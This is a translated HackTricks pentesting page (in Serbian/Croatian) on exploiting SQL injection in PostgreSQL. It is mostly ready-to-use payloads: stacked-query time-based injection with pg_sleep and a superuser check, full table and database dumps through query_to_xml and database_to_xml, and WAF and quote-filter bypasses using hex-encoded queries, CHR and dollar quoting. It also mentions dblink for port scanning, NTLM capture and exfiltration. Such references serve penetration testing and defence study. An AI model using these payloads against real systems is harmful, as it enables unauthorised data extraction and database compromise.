PostgreSQL injection

Support HackTricks

If you are interested in hacking career and hack the unhackable - we are hiring! (potrebno je tečno pisanje i govorenje poljskog).


Ova stranica ima za cilj da objasni različite trikove koji bi vam mogli pomoći da iskoristite SQL injection pronađen u postgresql bazi podataka i da dopuni trikove koje možete pronaći na https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md

Network Interaction - Privilege Escalation, Port Scanner, NTLM challenge response disclosure & Exfiltration

PostgreSQL modul dblink nudi mogućnosti za povezivanje sa drugim PostgreSQL instancama i izvršavanje TCP konekcija. Ove funkcije, u kombinaciji sa COPY FROM funkcionalnošću, omogućavaju radnje poput eskalacije privilegija, skeniranja portova i hvatanja NTLM izazova. Za detaljne metode o izvršavanju ovih napada proverite kako da izvršite ove napade.

Možete pročitati ovaj primer da vidite CTF primer kako učitati podatke unutar velikih objekata i zatim eksfiltrirati sadržaj velikih objekata unutar korisničkog imena funkcije dblink_connect.

PostgreSQL napadi: Čitanje/pisanje, RCE, privesc

Proverite kako da kompromitujete host i eskalirate privilegije iz PostgreSQL u:

5432,5433 - Pentesting Postgresql

WAF bypass

PostgreSQL funkcije za stringove

Manipulacija stringovima može vam pomoći da zaobiđete WAF-ove ili druge restrikcije. Na ovoj stranici možete pronaći neke korisne funkcije za stringove.

Stacked Queries

Zapamtite da postgresql podržava složene upite, ali nekoliko aplikacija će baciti grešku ako se vrate 2 odgovora kada se očekuje samo 1. Ali, još uvek možete zloupotrebiti složene upite putem vremenske injekcije:

id=1; select pg_sleep(10);-- -
1; SELECT case when (SELECT current_setting('is_superuser'))='on' then pg_sleep(10) end;-- -

XML trikovi

query_to_xml

Ova funkcija će vratiti sve podatke u XML formatu u samo jednoj datoteci. Idealna je ako želite da izbacite mnogo podataka u samo 1 redu:

SELECT query_to_xml('select * from pg_user',true,true,'');

database_to_xml

Ova funkcija će izbaciti celu bazu podataka u XML formatu u samo 1 redu (budite oprezni ako je baza podataka veoma velika jer možete izazvati DoS ili čak vašeg vlastitog klijenta):

SELECT database_to_xml(true,true,'');

Strings in Hex

Ako možete da izvršavate upite prosleđujući ih unutar stringa (na primer koristeći funkciju query_to_xml). Možete koristiti convert_from da prosledite string kao heksadecimalni i na taj način zaobiđete filtre:

select encode('select cast(string_agg(table_name, '','') as int) from information_schema.tables', 'hex'), convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573', 'UTF8');

# Bypass via stacked queries + error based + query_to_xml with hex
;select query_to_xml(convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573','UTF8'),true,true,'')-- -h

# Bypass via boolean + error based + query_to_xml with hex
1 or '1' = (query_to_xml(convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573','UTF8'),true,true,''))::text-- -

Zabranjene navodnike

Ako ne možete koristiti navodnike za vaš payload, možete to zaobići sa CHR za osnovne klauzule (konkatenacija karaktera funkcioniše samo za osnovne upite kao što su SELECT, INSERT, DELETE, itd. Ne funkcioniše za sve SQL izjave):

SELECT CHR(65) || CHR(87) || CHR(65) || CHR(69);

Ili sa $. Ove upite vraćaju iste rezultate:

SELECT 'hacktricks';
SELECT $$hacktricks$$;
SELECT $TAG$hacktricks$TAG$;

Ako ste zainteresovani za karijeru u hakovanju i da hakujete ono što se ne može hakovati - zapošljavamo! (potrebno je tečno pisanje i govorenje poljskog).

Podržite HackTricks

Last updated